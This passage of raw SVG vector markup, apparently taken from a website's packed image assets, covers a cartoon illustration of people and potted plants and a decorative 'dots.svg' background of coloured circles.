              <g id="Group_24" data-name="Group 24">
                <rect id="Rectangle_1" data-name="Rectangle 1" width="76.46" height="3.42" transform="translate(112.14 272.65)" fill="#c7c7c7"/>
                <path id="Path_43" data-name="Path 43" d="M188.6,272.65v3.43H142.74l2.62-3.43Z" fill="#a6a6a6"/>
              </g>
              <g id="Group_25" data-name="Group 25">
                <path id="Path_44" data-name="Path 44" d="M154.08,276.08H228.6l6.2-50.61H160.29Z" fill="#a6a6a6"/>
                <path id="Path_45" data-name="Path 45" d="M157.98,276.08H232.5l6.2-50.61H164.19Z" fill="#c7c7c7"/>
                <path id="Path_46" data-name="Path 46" d="M193.81,250.77a4.45,4.45,0,0,0,4.46,4.54,4.638,4.638,0,0,0,4.62-4.54,4.444,4.444,0,0,0-4.46-4.54A4.638,4.638,0,0,0,193.81,250.77Z" fill="#fff"/>
              </g>
            </g>
            <g id="Group_35" data-name="Group 35">
              <g id="Group_27" data-name="Group 27">
                <path id="Path_47" data-name="Path 47" d="M86.02,216.95c.07,1.25,4.41,10.07,9.95,10.79,1.8.23,3.51-9.56,3.51-9.56l.29-.69,4.06-9.71L91.77,196.72s-5.76,19.7-5.74,20.23Z" fill="#eb9481"/>
                <path id="Path_48" data-name="Path 48" d="M103.83,207.77l-4.07,9.72a21.151,21.151,0,0,1-9.95-14.03c.98-3.42,1.81-6.26,1.93-6.68a.119.119,0,0,0,.02-.06l1.54,1.31,10.53,9.74Z" fill="#263238"/>
              </g>
              <g id="Group_34" data-name="Group 34">
                <path id="Path_49" data-name="Path 49" d="M119.58,194.42c-1.67,18.41-12.88,19.48-16.85,19.12-3.6-.33-15.83-1.92-16.07-20.4s8.85-23.52,17.13-23.2S121.25,176.01,119.58,194.42Z" fill="#eb9481"/>
                <g id="Group_32" data-name="Group 32">
                  <path id="Path_50" data-name="Path 50" d="M117.25,191.8a12.193,12.193,0,0,1-1.19-.46,2.035,2.035,0,0,1-1.12-.7.654.654,0,0,1,.13-.79,1.623,1.623,0,0,1,1.65-.12,2.376,2.376,0,0,1,1.35,1.08.7.7,0,0,1-.81.99Z" fill="#263238"/>
                  <path id="Path_51" data-name="Path 51" d="M104.52,191.21c.44.02.84-.04,1.27-.06a2.071,2.071,0,0,0,1.29-.31.656.656,0,0,0,.13-.79,1.637,1.637,0,0,0-1.53-.63,2.36,2.36,0,0,0-1.62.6.7.7,0,0,0,.45,1.2Z" fill="#263238"/>
                  <g id="Group_29" data-name="Group 29">
                    <g id="Group_28" data-name="Group 28">
                      <path id="Path_52" data-name="Path 52" d="M106.67,194.36s-.11.05-.11.1c-.13,1.25-.49,2.66-1.68,2.92-.04,0-.04.07,0,.07,1.4,0,1.87-1.88,1.79-3.09Z" fill="#263238"/>
                      <path id="Path_53" data-name="Path 53" d="M105.73,192.9c-1.98-.43-2.7,3.57-.86,3.97C106.68,197.26,107.39,193.26,105.73,192.9Z" fill="#263238"/>
                    </g>
                    <path id="Path_54" data-name="Path 54" d="M104.91,192.97c-.39.16-.8.5-1.23.47-.5-.04-.79-.52-1.04-.98-.03-.05-.07-.02-.08.03a1.472,1.472,0,0,0,.81,1.86c.73.24,1.39-.34,1.72-1.08.06-.14-.03-.37-.18-.3Z" fill="#263238"/>
                  </g>
                  <g id="Group_31" data-name="Group 31">
                    <g id="Group_30" data-name="Group 30">
                      <path id="Path_55" data-name="Path 55" d="M114.03,195.34s.09.08.07.13c-.27,1.23-.37,2.68.67,3.3.03.02.02.08-.02.07-1.33-.45-1.18-2.37-.72-3.5Z" fill="#263238"/>
                      <path id="Path_56" data-name="Path 56" d="M115.38,194.26c2.02.22,1.43,4.24-.44,4.04C113.1,198.1,113.69,194.08,115.38,194.26Z" fill="#263238"/>
                    </g>
                    <path id="Path_57" data-name="Path 57" d="M116.18,194.64c.29.26.54.69.92.77.44.09.82-.29,1.17-.67.04-.04.06,0,.06.05-.09.77-.46,1.53-1.22,1.57-.69.04-1.09-.7-1.16-1.49-.01-.15.13-.35.24-.24Z" fill="#263238"/>
                  </g>
                  <path id="Path_58" data-name="Path 58" d="M104.49,204.8c.22.36.41.83.84.98a3.424,3.424,0,0,0,1.39.03c.04,0,.07.05.04.08a1.7,1.7,0,0,1-1.72.27,1.322,1.322,0,0,1-.68-1.32c0-.08.1-.08.13-.03Z" fill="#263238"/>
                  <path id="Path_59" data-name="Path 59" d="M110.7,200.97s-.1,1.89-.27,2.76c-.02.08-.23.08-.53.04h-.03a4.219,4.219,0,0,1-3.72-2.33.092.092,0,0,1,.15-.1,6.333,6.333,0,0,0,3.57,1.82c.11-.23.07-3.25.21-3.23a7.848,7.848,0,0,1,1.89.83c.33-3.94.03-7.9.42-11.82a.122.122,0,0,1,.24-.01,63.939,63.939,0,0,1,.09,12.75c-.02.51-1.69-.49-2.01-.71Z" fill="#263238"/>
                </g>
                <path id="Path_60" data-name="Path 60" d="M86.88,194.2c2.99.73,4.64-6.17,4.64-6.17s6.14,1.03,9.63-7.47a13.787,13.787,0,0,1-3.93,6.86s11.11,1.31,17.17-7c0,0-2.58,4.32-4.56,5.68,0,0,4.75-.52,7.58-3.84,0,0,1.03,5.55,2.26,7.23,0,0,2.68-19.04-15.22-19.92,0,0-11.12-1.09-16.51,6.97s-1.07,17.66-1.07,17.66Z" fill="#263238"/>
                <g id="Group_33" data-name="Group 33">
                  <path id="Path_61" data-name="Path 61" d="M89.46,194.82s-2.95-6.39-5.78-5.43-1.32,9.72,1.51,11.39a3.127,3.127,0,0,0,4.42-.92l-.14-5.04Z" fill="#eb9481"/>
                  <path id="Path_62" data-name="Path 62" d="M84.17,191.89s-.07.05-.03.08c1.97,1.24,2.73,3.41,3.15,5.58a1.727,1.727,0,0,0-2.46-.92c-.06.03-.02.13.04.12a1.916,1.916,0,0,1,1.96,1.03,9.478,9.478,0,0,1,.7,1.86c.07.21.43.17.39-.06v-.05c.54-2.69-.89-6.86-3.74-7.65Z" fill="#263238"/>
                </g>
              </g>
            </g>
          </g>
          <g id="Group_39" data-name="Group 39">
            <g id="Group_37" data-name="Group 37">
              <path id="Path_63" data-name="Path 63" d="M348.89,372.01c-.98,2.64-48.95,62.27-52.21,63.39-1.24.43-10.33-6.05-21.09-14.19-2.32-1.76-4.71-3.59-7.13-5.46-15.7-12.13-32.08-25.37-32.08-25.37l31.97-39.98,31.2,26.47,6.85,5.81s28.58-14.61,32.29-15.46c3.7-.83,11.18,2.15,10.2,4.79Z" fill="#eb9481"/>
              <path id="Path_64" data-name="Path 64" d="M348.9,372.01c-.98,2.64-48.95,62.27-52.21,63.39-1.08.38-8.17-4.53-17.13-11.21,9.15-6.66,43.89-37.96,48.55-46.43,2.46-4.46-1.13-4.42-5.51-3.19,7.16-3.52,14.36-6.95,16.1-7.34,3.71-.83,11.17,2.15,10.2,4.79Z" fill="#263238"/>
            </g>
            <g id="Group_38" data-name="Group 38">
              <path id="Path_65" data-name="Path 65" d="M297.88,370.84l-33.27,44.89L152.34,337.82l-10.83-7.52s-3.07,2.06-7.68,4.61c-6.41,3.54-15.8,8.03-24.11,9.25-13.94,2.06-37.21,1.84-48.96-13.87-9.89-13.23-4.52-30.48-4.52-30.48l15.3-6.57s36.22-30.17,59.68-31.08c9.96-.4,24.47,7.16,37.91,15.05s128.75,93.63,128.75,93.63Z" fill="#263238"/>
              <path id="Path_66" data-name="Path 66" d="M294.15,368.07c.18,1.97.34,3.95.52,5.92.04.36.06.7.09,1.06l-.34.45q-.375-3.87-.7-7.75c.15.11.29.21.43.32Zm-19.23-14.25-.39-.29a20.972,20.972,0,0,0,.61,3.91c1.11,4.49,3.45,8.71,5.57,12.79a128.023,128.023,0,0,1,6.89,14.47l.23-.3a96.844,96.844,0,0,0-5.11-11.12c-2.41-4.62-5.13-9.28-6.75-14.27a22.329,22.329,0,0,1-1.05-5.19Zm-14.19,50.77a12.659,12.659,0,0,1-3.36,6.12l.24.17a12.2,12.2,0,0,0,2.96-4.63c1.49-4.17.89-8.76.29-13.04-.68-4.63-2.01-10.1-.3-14.65a5.689,5.689,0,0,1,5.41-4.02,8.1,8.1,0,0,1,5.44,2.82c3.68,3.96,2.93,9.23,1.54,14.01-1.22,4.22-2.92,8.37-2.64,12.85a15.461,15.461,0,0,0,.51,3.14l.24-.33c-2.17-8.23,4.52-16.07,3.3-24.42a10.4,10.4,0,0,0-5.77-7.72,5.87,5.87,0,0,0-8.02,2.84c-1.79,3.71-1.06,8.35-.51,12.27.68,4.78,1.79,9.82.68,14.6Zm-27.91-10.92.32.23a18.848,18.848,0,0,1,1.81-5.26,25.781,25.781,0,0,1,9.46-10.06c3.74-2.32,7.96-3.79,11.67-6.17a18.246,18.246,0,0,0,7.6-9.6,28.474,28.474,0,0,0,1.59-12.63,16.237,16.237,0,0,0-1.12-4.3c-.12-.11-.25-.2-.38-.3a19.883,19.883,0,0,1,1.16,10.75c-.65,5.01-2.33,10.22-6.17,13.71-3.4,3.09-7.82,4.73-11.85,6.81-6.7,3.45-12.5,9.32-14.1,16.83Zm-3.02-24.56c2.74,1.82,6.27,2.32,9.03.27,3.04-2.25,3.83-6.42,3.79-9.97-.05-4.85-1.6-10.31,1.03-14.77a12.42,12.42,0,0,1,11.64-5.32c-.14-.11-.3-.21-.44-.32a13.572,13.572,0,0,0-2.99.13,12.182,12.182,0,0,0-7.7,4.28c-2.73,3.43-2.42,8.02-2.08,12.13.36,4.31.7,9.6-2.65,12.94-3.52,3.52-8.63,1.71-11.66-1.46-6.77-7.13-3.8-19,3.26-24.72,4.92-3.98,11.07-5.77,16.68-8.57l-.29-.21c-.8.4-1.6.78-2.41,1.14-7.05,3.17-15.1,5.91-19.01,13.13-3.73,6.9-3.18,16.68,3.79,21.32Zm3.24-41.26a10.4,10.4,0,0,0,2.26-3.26,2.975,2.975,0,0,0-.29-.2,10.9,10.9,0,0,1-.8,1.51c-2.29,3.61-6.59,4.73-10.59,3.59a11.188,11.188,0,0,1-7.96-8.63,15.876,15.876,0,0,1,1.25-9.73c-.07-.05-.14-.09-.2-.14-1.98,4.17-2.45,8.92-.18,13.26,2.93,5.61,11.6,8.31,16.5,3.6Zm-22.58,48.04c-.93.1-1.85.23-2.77.34l.38.26a1.228,1.228,0,0,0,.19-.02c5.03-.71,10.58-.96,14.01,3.51a11.673,11.673,0,0,1,2.31,7.97l.32.23a11.958,11.958,0,0,0-3.01-9.11c-2.96-3.24-7.3-3.62-11.43-3.17Zm.83-22.29c-4.3,2.57-9.58,1.4-14.29,1.4-3.54,0-7.64.59-10.16,3.33a7.376,7.376,0,0,0-1.49,2.41l.31.21a8.992,8.992,0,0,1,6.56-5.16c4.54-1.06,9.15.08,13.74-.33,3.47-.3,6.81-1.65,8.58-4.8a11.534,11.534,0,0,0,.93-8.56,9.255,9.255,0,0,0-5.6-6.35c-4.48-1.7-9.4-.2-13.9.65a26.691,26.691,0,0,1-14.15-.83,25.36,25.36,0,0,1-11.28-7.93c-3.22-4.02-5.41-9.73-3.07-14.69a8.315,8.315,0,0,1,12.01-3.9c7.41,4.28,9.08,16.14,18.57,17.19a6.713,6.713,0,0,0,7.63-5.17c.83-3.6-.48-7.47-2.58-10.4-4.86-6.73-13.2-9.35-20.76-11.68-4.44-1.37-8.96-2.78-12.93-5.26a22.774,22.774,0,0,1-9.13-10.99A31.558,31.558,0,0,1,158,270.96a1.5,1.5,0,0,0-.25-.13,23.616,23.616,0,0,0,.13,3.28,30.535,30.535,0,0,0,3.84,12.2,23.091,23.091,0,0,0,9.29,8.67c7.74,4.12,16.77,5.01,24.37,9.45,3.64,2.12,7.05,4.98,8.89,8.84,1.89,3.97,2.25,10.44-2.73,12.27-4.52,1.68-9.02-1.38-11.73-4.76-2.82-3.54-4.74-7.78-8.31-10.69-2.97-2.42-7-3.65-10.5-1.58a10.408,10.408,0,0,0-4.79,9.52c.44,8.53,8.28,15.36,15.89,17.94a25.8,25.8,0,0,0,12.33.99c4.97-.78,10.39-2.82,15.34-.94,6.96,2.64,7.93,13.72,1.51,17.55Zm-49.47-9.19.25.18c1.62-3.09,4.78-5.38,8.38-4.09,4.12,1.46,6.64,6.39,6.76,10.55a21.485,21.485,0,0,1-.26,3.85l.25.18a24.137,24.137,0,0,0,.32-2.96,13.2,13.2,0,0,0-3.85-9.92c-2.27-2.2-5.49-3.14-8.39-1.58A8.418,8.418,0,0,0,161.82,344.41ZM133.21,333c-.04.76-.08,1.54-.14,2.32.12-.06.25-.13.37-.19.51-6.57-.05-13.36,1.39-19.73,1.09-4.8,3.48-9.53,8.72-10.61a11.477,11.477,0,0,1,12.05,5.35,15.2,15.2,0,0,1,.86,13.48c-1.76,4.38-4.91,7.99-7.82,11.64l.2.14c5.16-6.54,11.32-13.88,8.21-22.73a12.266,12.266,0,0,0-7.31-7.66,11.185,11.185,0,0,0-10.12,1.24c-3.61,2.64-4.85,7.45-5.5,11.63-.77,5-.64,10.08-.9,15.13Zm-35.95,5.67a42.422,42.422,0,0,1,.32,6.4h.29c.23-7.51-2.7-15.23-.18-22.55,1.43-4.12,5.48-8.13,10.09-7.99,4.72.14,7.32,4.56,7.95,8.75,1,6.65-2.84,13.58-2.39,20.15.09-.02.19-.05.3-.07a15.413,15.413,0,0,1-.01-2.63c.39-5.01,2.53-9.77,2.58-14.82.04-3.36-.87-7.11-3.37-9.52a7.927,7.927,0,0,0-9.17-1.19c-8.9,4.41-7.3,15.34-6.39,23.46Zm39.3-56.75c-.2,3.49.05,7.08,2.25,9.97,1.9,2.5,5.11,3.02,7.28.49,2.78-3.23,3.13-8.57,2.89-12.61-.3-4.97-1.71-9.72-3.16-14.45-.13-.05-.26-.1-.39-.14.7,2.25,1.39,4.47,1.94,6.68,1.3,5.25,2.01,10.85.5,16.12-.68,2.4-1.95,5.39-4.75,5.77-2.09.29-3.71-1.31-4.68-2.97-2.26-3.87-1.68-8.4-1.26-12.67.44-4.59,1.11-9.22.7-13.83-.04-.49-.09-.99-.17-1.47-.11-.01-.2-.04-.31-.06a31.174,31.174,0,0,1,.31,5.2c-.08,4.67-.86,9.29-1.14,13.96Zm-24.78-6.19c.45,4.84-.19,9.65.01,14.48.17,4.02,1.32,8.14,4.76,10.56a6.884,6.884,0,0,0,9.33-.96c2.9-3.22,2.92-7.66,2.04-11.67-1.18-5.38-3.03-10.67-4.57-15.95a68.174,68.174,0,0,1-2.21-8.23,1.208,1.208,0,0,1-.25.08c.01.11.04.2.05.31a69.754,69.754,0,0,0,2.09,7.91c.8,2.71,1.58,5.41,2.38,8.1,1.49,5.05,4.03,11.06,2,16.29a8.1,8.1,0,0,1-4.92,4.98,7.072,7.072,0,0,1-6.74-1.96c-4.02-3.75-3.77-9.57-3.54-14.6a56.076,56.076,0,0,0-.67-13.33,23.147,23.147,0,0,0-1.06-3.68l-.21.11a34.123,34.123,0,0,1,1.51,7.56ZM91.71,301.48c2.79.53,6.05.17,7.96-2.16,2.69-3.26,1.37-7.99-.11-11.45-1.58-3.71-3.87-7.06-5.64-10.67a1.585,1.585,0,0,0-.27.18c.69,1.39,1.44,2.73,2.2,4.05,2.46,4.33,6.08,9.9,4.84,15.13-1.06,4.46-5.76,5.45-9.67,4.44-6.48-1.65-9.47-7.71-13.75-12.26-.08.06-.15.12-.24.18,4.55,4.76,7.63,11.21,14.69,12.57ZM55.57,318.65a.644.644,0,0,0,.05.24,6.487,6.487,0,0,0,2.22-.59c3.71-1.76,5.57-5.92,8.81-8.32,3.97-2.92,9.58-4.09,14.03-1.54,4.12,2.36,6.51,7.26,4.86,11.86-1.44,3.99-5.05,6.76-7.99,9.65a21.329,21.329,0,0,0-5.97,9.54.994.994,0,0,0,.27.14,20.573,20.573,0,0,1,5.24-8.82c2.67-2.74,5.87-5.16,7.81-8.52a9.717,9.717,0,0,0,.11-9.97,11.4,11.4,0,0,0-9.29-5.56,15,15,0,0,0-10.98,4.48c-2.67,2.64-5.06,7.08-9.17,7.41Z" fill="#455a64"/>
              <path id="Path_67" data-name="Path 67" d="M141.51,330.31s-3.07,2.06-7.68,4.61c-8.16-9.77-25.43-27.5-25.95-28.13l33.63,23.52Z" fill="#37474f"/>
              <path id="Path_68" data-name="Path 68" d="M84.81,283.15c-2.17,1.5-4.26,3.1-6.39,4.64-2.1,1.52-4.27,2.94-6.27,4.6-2.03,1.69-3.96,3.49-5.87,5.3-.92.88-1.84,1.76-2.73,2.67a25.894,25.894,0,0,0-2.61,2.83c-.07.1.07.21.16.15a29.594,29.594,0,0,0,2.9-2.36c1.01-.85,2.02-1.72,3.02-2.58,1.95-1.65,3.93-3.26,5.87-4.92s3.72-3.45,5.63-5.12c2.05-1.79,4.2-3.45,6.33-5.14C84.89,283.19,84.85,283.12,84.81,283.15Z" fill="#37474f"/>
              <path id="Path_69" data-name="Path 69" d="M286.48,366.26c-2.01,2.46-3.86,5.08-5.72,7.66s-3.72,5.19-5.56,7.79c-3.68,5.22-7.39,10.42-11,15.68-1.98,2.89-3.93,5.81-5.76,8.81-.08.13.13.27.23.15,4-4.97,7.61-10.24,11.28-15.45s7.34-10.46,10.94-15.74c1.97-2.89,4.01-5.77,5.79-8.77.07-.12-.12-.24-.21-.13Z" fill="#37474f"/>
              <path id="Path_70" data-name="Path 70" d="M197.93,369.69c-5.59-4.4-11.38-8.56-17.17-12.69-5.76-4.11-11.52-8.23-17.37-12.21-1.68-1.14-3.37-2.26-5.07-3.39s-3.45-2.16-5.1-3.32c-.1-.07-.18.09-.09.16,1.52,1.09,2.95,2.31,4.45,3.44,1.43,1.08,2.84,2.17,4.28,3.24,2.8,2.08,5.64,4.11,8.47,6.16q8.61,6.225,17.35,12.25c3.31,2.27,6.61,4.55,10,6.72.2.13.44-.19.25-.34Z" fill="#37474f"/>
              <path id="Path_71" data-name="Path 71" d="M233.83,323.37c-5.16-4.28-10.7-8.12-16.11-12.08-5.47-4-10.92-8.04-16.41-12.01l-16.35-11.82c-5.28-3.82-10.54-7.7-16.12-11.08-3.05-1.85-6.19-3.57-9.41-5.11a61.579,61.579,0,0,0-9.72-3.97.093.093,0,0,0-.07.17c2.75,1.54,5.64,2.83,8.42,4.31q4.125,2.205,8.13,4.62c5.54,3.36,10.77,7.17,16.03,10.95,10.91,7.85,21.81,15.73,32.8,23.47,6.15,4.33,12.18,8.9,18.56,12.88.2.12.43-.18.25-.33Z" fill="#37474f"/>
            </g>
          </g>
        </g>
      </g>
    </g>
    <g id="Group_48" data-name="Group 48">
      <g id="Group_45" data-name="Group 45">
        <g id="Group_42" data-name="Group 42">
          <path id="Path_72" data-name="Path 72" d="M382.74,342a60.239,60.239,0,0,0-3.06,10.63c.08.19-.01.86-.1.67-.08.59-.98.39-.92-.2.05-.38.1-.76.16-1.13-1.84-2.85-4.74-4.84-6.98-7.39a14.474,14.474,0,0,1-3.5-7.14c-1.31-7.32,1.41-14.64-.32-21.99-1.49-6.33-4.77-12.05-7.43-17.93-2.81-6.21-4.68-12.63-4.21-19.51.35-5.27,1.72-12.2,6.13-15.71,4.68-3.73,9.6-.05,12.46,4.02,8.27,11.79,11.18,25.9,11.47,40.04.16,7.83.34,15.7-.71,23.47a62.82,62.82,0,0,1-2.99,12.18Z" fill="#ffc727"/>
          <path id="Path_73" data-name="Path 73" d="M379.42,355.47a133.182,133.182,0,0,0,2.05-21.91c.02-.03.04-.04.04-.08.74-5.9,1.83-11.74,2.23-17.69a105.406,105.406,0,0,0-.6-19.29c0-.07-.12-.07-.12,0a125.641,125.641,0,0,1,.1,18.81c-.23,3.35-.61,6.7-1.14,10.01-.17,1.08-.39,2.16-.58,3.25h0a117.682,117.682,0,0,0-12.69-48.43c-.1-.2-.47-.04-.37.17a122.286,122.286,0,0,1,10.68,36.03c-3.64-8.86-9.75-16.47-13.97-25.06-.02-.05-.1,0-.08.04,3.61,9.45,10.39,17.31,14.25,26.65.45,3.69.75,7.4.87,11.11a123.237,123.237,0,0,1-.5,15.25,174.961,174.961,0,0,1-6.23-16.36c-.04-.15-.26-.07-.23.08,1.32,5.86,3.26,12.23,6.36,17.44-.36,3.58-.84,7.16-1.43,10.71-1.57,9.49-4.2,18.74-5.95,28.19a.22.22,0,0,0,.43.09,218.8,218.8,0,0,0,6.87-29.04Z" fill="#263238"/>
          <path id="Path_74" data-name="Path 74" d="M377.05,280.74c-.02-.07-.13-.04-.11.04,1.24,5.01,1.71,10,2.45,15.08a.185.185,0,0,0,.37-.02c.02-5.07-1.25-10.26-2.7-15.09Z" fill="#263238"/>
        </g>
        <g id="Group_43" data-name="Group 43">
          <path id="Path_75" data-name="Path 75" d="M419.22,305.63a73.475,73.475,0,0,1-4.88,7.82c-3.74,5.37-7.57,10.26-8.86,16.84a41.432,41.432,0,0,1-2.19,8.67,26.382,26.382,0,0,1-4.24,6.52c-3.93,4.6-8.63,8.43-12.33,13.24a60.6,60.6,0,0,0-9.01,16.57c-.11.33-.63.18-.52-.14a.489.489,0,0,1,.03-.07c0-.02-.03-.04-.02-.07,1-14.3,3.65-28.53,9.44-41.72a146.094,146.094,0,0,1,8.76-16.84,41.82,41.82,0,0,1,10.73-12.42c2.9-2.11,9.13-6.03,12.65-3.23,1.69,1.34,1.36,3.15.46,4.85Z" fill="#ffc727"/>
          <path id="Path_76" data-name="Path 76" d="M401.5,336.41a117.561,117.561,0,0,1-9.53,11.03c-1.57,1.66-3.16,3.29-4.72,4.95-.74.78-1.56,1.55-2.25,2.41.53-1.46,1.06-2.92,1.6-4.38,2.6-7,5.13-14.08,8.6-20.71a145.478,145.478,0,0,1,11.93-18.34c.11-.15-.14-.3-.25-.15-3.53,4.63-7.11,9.25-10.19,14.2A79.449,79.449,0,0,0,392.1,334a139.091,139.091,0,0,1,6.88-18.65c.02-.05-.05-.1-.08-.05a65.666,65.666,0,0,0-7.14,19.4v.03q-1.215,2.67-2.3,5.42c-3.08,7.73-5.9,15.58-8.58,23.46a86.487,86.487,0,0,1,3.04-15.69c.04-.12-.14-.17-.18-.05a50.332,50.332,0,0,0-3.14,16.55c-1.01,3-2.01,6.01-2.99,9.01-2.09,6.42-4.52,12.92-6.04,19.5a.135.135,0,0,0,.26.07c1.36-3.49,2.34-7.15,3.52-10.71s2.4-7.12,3.63-10.67q2.7-7.755,5.53-15.46c1.09-1.84,2.97-3.38,4.42-4.87,1.59-1.63,3.18-3.27,4.74-4.93a79.556,79.556,0,0,0,7.97-9.88c.05-.08-.07-.14-.12-.07Z" fill="#263238"/>
          <path id="Path_77" data-name="Path 77" d="M402.75,330.39a74.732,74.732,0,0,0-9.46,12.02c-.03.05.05.13.09.07,3.18-3.98,6.31-8.01,9.48-12,.05-.07-.06-.15-.12-.09Z" fill="#263238"/>
        </g>
        <g id="Group_44" data-name="Group 44">
          <path id="Path_78" data-name="Path 78" d="M343.45,311.3c1.51,3.37,3.21,7.41,2.02,11.15-.76,2.36-2.73,4.14-3.31,6.57-1.29,5.37,3.75,9.53,7.41,12.52,9.1,7.45,21.91,14.58,22.31,27.88.02.47.83.44.82-.02a.277.277,0,0,0-.01-.09c.02-.03.05-.03.06-.07a50.468,50.468,0,0,0,1.93-20.03c-.75-6.91-3.05-13.29-5.91-19.59-4.83-10.66-9.98-21.6-18.07-30.23-2.24-2.39-6.88-6.75-9.35-2.15-2.4,4.47.25,9.96,2.1,14.08Z" fill="#ffc727"/>
          <path id="Path_79" data-name="Path 79" d="M350.16,333.53c5.74,7.7,15.64,12.73,20.39,21.18a79.256,79.256,0,0,0-13.79-34.12.256.256,0,0,1,.4-.32,63.955,63.955,0,0,1,11.91,21.84A91.158,91.158,0,0,0,364.65,326c-.07-.2.21-.34.3-.14a59.486,59.486,0,0,1,4.69,18.08c5.48,18.58,3.96,39.53.44,58.14-.05.26-.46.23-.42-.04,1.98-14.75,3.33-29.82,1.31-44.64-.04-.31-.09-.62-.14-.92-5.18-9.11-15.03-14.11-20.78-22.84-.06-.08.06-.18.12-.1Z" fill="#263238"/>
          <path id="Path_80" data-name="Path 80" d="M349.29,327.34c3.08,3.48,6.09,7.03,9.17,10.51.03.03-.02.09-.06.06a49.894,49.894,0,0,1-9.34-10.39.142.142,0,0,1,.22-.18Z" fill="#263238"/>
          <path id="Path_81" data-name="Path 81" d="M350.18,313.76a107.137,107.137,0,0,0,8.71,15.08c.04.06-.04.14-.09.08a49.777,49.777,0,0,1-8.81-15.07.105.105,0,0,1,.19-.09Z" fill="#263238"/>
        </g>
      </g>
      <g id="Group_47" data-name="Group 47">
        <g id="Group_46" data-name="Group 46">
          <path id="Path_82" data-name="Path 82" d="M360.02,415.73H390l-4.04-40.34H364.64Z" fill="#455a64"/>
          <path id="Path_83" data-name="Path 83" d="M363.88,381.95h22.74l-.66-6.56H364.63Z" fill="#263238"/>
        </g>
        <rect id="Rectangle_2" data-name="Rectangle 2" width="28.1" height="6.44" transform="translate(389.06 377.36) rotate(180)" fill="#455a64"/>
      </g>
    </g>
  </g>
</svg>
images/dots.svg000066600000011655151150443020007512 0ustar00<svg id="Group_19" data-name="Group 19" xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" viewBox="0 0 1920 1080">
  <g id="Group_18" data-name="Group 18">
    <g id="Group_15" data-name="Group 15" transform="translate(42 42)">
      <path id="Path_12" data-name="Path 12" d="M14,0A14,14,0,1,1,0,14,14,14,0,0,1,14,0Z" transform="translate(146 727)" fill="#2e80fa"/>
      <g id="Group_2" data-name="Group 2">
        <circle id="Ellipse_1" data-name="Ellipse 1" cx="8" cy="8" r="8" transform="translate(152 733)" fill="#2e80fa"/>
        <circle id="Ellipse_2" data-name="Ellipse 2" cx="7.5" cy="7.5" r="7.5" transform="translate(152.5 733.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_16" data-name="Group 16" transform="translate(141 -158)">
      <path id="Path_13" data-name="Path 13" d="M14,0A14,14,0,1,1,0,14,14,14,0,0,1,14,0Z" transform="translate(548 993)" fill="#f05e5e"/>
      <g id="Group_4" data-name="Group 4">
        <circle id="Ellipse_5" data-name="Ellipse 5" cx="8" cy="8" r="8" transform="translate(554 999)" fill="#f05e5e"/>
        <circle id="Ellipse_6" data-name="Ellipse 6" cx="7.5" cy="7.5" r="7.5" transform="translate(554.5 999.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_10" data-name="Group 10" transform="translate(40 -18)">
      <circle id="Ellipse_20" data-name="Ellipse 20" cx="14" cy="14" r="14" transform="translate(1243 930)" fill="#14b9e2"/>
      <g id="Group_5" data-name="Group 5">
        <circle id="Ellipse_7" data-name="Ellipse 7" cx="8" cy="8" r="8" transform="translate(1249 936)" fill="#14b9e2"/>
        <circle id="Ellipse_8" data-name="Ellipse 8" cx="7.5" cy="7.5" r="7.5" transform="translate(1249.5 936.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_12" data-name="Group 12" transform="translate(-43 -38)">
      <path id="Path_16" data-name="Path 16" d="M18,0A18,18,0,1,1,0,18,18,18,0,0,1,18,0Z" transform="translate(1728 248)" fill="#0ccbbf" opacity="0.6"/>
      <g id="Group_6" data-name="Group 6">
        <circle id="Ellipse_9" data-name="Ellipse 9" cx="8" cy="8" r="8" transform="translate(1738 258)" fill="#0ccbbf"/>
        <circle id="Ellipse_10" data-name="Ellipse 10" cx="7.5" cy="7.5" r="7.5" transform="translate(1738.5 258.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_13" data-name="Group 13" transform="translate(137 -48)">
      <path id="Path_15" data-name="Path 15" d="M24,0A24,24,0,1,1,0,24,24,24,0,0,1,24,0Z" transform="translate(1160 125)" fill="#ff993c" opacity="0.464"/>
      <g id="Group_7" data-name="Group 7" transform="translate(-0.042)">
        <ellipse id="Ellipse_11" data-name="Ellipse 11" cx="7.978" cy="8" rx="7.978" ry="8" transform="translate(1176.042 141)" fill="#ff993c"/>
        <path id="Path_11" data-name="Path 11" d="M1191.5,149a7.48,7.48,0,1,1-7.48-7.5A7.49,7.49,0,0,1,1191.5,149Z" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_11" data-name="Group 11">
      <path id="Path_17" data-name="Path 17" d="M17.5,0A17.5,17.5,0,1,1,0,17.5,17.5,17.5,0,0,1,17.5,0Z" transform="translate(1545 688)" fill="#a948f4"/>
      <g id="Group_8" data-name="Group 8" transform="translate(1 1)">
        <circle id="Ellipse_12" data-name="Ellipse 12" cx="8" cy="8" r="8" transform="translate(1554 697)" fill="#a948f4"/>
        <circle id="Ellipse_13" data-name="Ellipse 13" cx="7.5" cy="7.5" r="7.5" transform="translate(1554.5 697.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_17" data-name="Group 17" transform="translate(-1077 -202)">
      <path id="Path_17-2" data-name="Path 17" d="M32.665,0A32.665,32.665,0,1,1,0,32.665,32.665,32.665,0,0,1,32.665,0Z" transform="translate(1530.335 673.335)" fill="#f4cc48" opacity="0.3"/>
      <g id="Group_8-2" data-name="Group 8" transform="translate(1 1)">
        <circle id="Ellipse_12-2" data-name="Ellipse 12" cx="8" cy="8" r="8" transform="translate(1554 697)" fill="#f4cc48"/>
        <circle id="Ellipse_13-2" data-name="Ellipse 13" cx="7.5" cy="7.5" r="7.5" transform="translate(1554.5 697.5)" fill="none" stroke="#fff" stroke-width="1"/>
      </g>
    </g>
    <g id="Group_14" data-name="Group 14">
      <path id="Path_14" data-name="Path 14" d="M14,0A14,14,0,1,1,0,14,14,14,0,0,1,14,0Z" transform="translate(262 125)" fill="#f236e0"/>
      <g id="Group_9" data-name="Group 9" transform="translate(-2)">
        <circle id="Ellipse_3" data-name="Ellipse 3" cx="8" cy="8" r="8" transform="translate(270 131)" fill="#f236e0"/>
